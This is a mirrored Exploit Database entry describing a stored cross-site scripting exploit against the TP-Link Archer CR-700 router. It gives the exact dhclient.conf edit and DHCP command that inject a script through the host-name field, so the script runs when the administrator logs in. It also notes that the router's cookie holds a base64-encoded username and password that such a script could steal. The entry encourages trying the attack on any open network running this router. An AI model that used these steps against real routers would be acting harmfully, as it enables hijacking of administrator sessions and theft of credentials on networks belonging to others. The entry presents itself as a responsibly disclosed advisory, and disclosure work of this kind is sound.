TP-Link Archer CR-700 – Cross-Site Scripting

• Exploit Database
• 38 阅读

• 作者： Ayushman Dutta
  日期： 2016-09-27
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/40432/

• # Exploit Title: TP-Link Archer CR-700 XSS vulnerability
  # Google Dork: N/A
  # Date: 09/07/2016
  # Exploit Author: Ayushman Dutta
  # Vendor Homepage: http://www.tp-link.us/
  # Software Link: N/A
  # Version: 1.0.6 (REQUIRED)
  # Tested on: Linux
  # CVE : N/A
  #Exploit Information:
  https://github.com/ayushman4/TP-Link-Archer-CR-700-XSS-Exploit/blob/master/README.md
  
  TP-Link-Archer-CR-700-XSS-Exploit
  
  Exploiting TP-Link Archer CR-700 Router. (Responsibly Disclosed to TP-Link)
  
  Step 1-> On you linux machine (Kali or Ubuntu) type the following command
  
  gedit /etc/dhcp/dhclient.conf
  
  Comment out the line below
  send host-name = gethostname();
  
  Copy it to the line below it and change the gethostname() function to an XSS script like below.
  
  send host-name = "<script>alert(5)</script>";
  
  Step 2:Restart your linux system so that the changes takes into effect.
  
  Step 3: Send a DHCP request to the router to receive an IP address with the command below.(Try this on any open network routers which is using TP-Link Archer CR-700)
  
  dhclient -v -i wlan0
  
  On running the command above, it send a DHCP request to the router. On a DHCP request, the host name is sent to which we have forcibly set it to an XSS script <script>alert(5)</script>
  
  Step 4: Login to the administrator console.
  
  On logging in the Script executes.
  
  One more issue that I saw in the router that was that there was no CSRF token. The cookie set by the router contains a base64 encoded username & password whcih can be stolen using an XSS script.
  
  Note:All The above information has been disclosed to TP-Link, who have reporduced the problem and passed it to their R&D team to fix the issue.
  
  A URL to the product https://www.amazon.com/Wireless-Certified-Cablevision-Archer-CR700/dp/B012I96J3W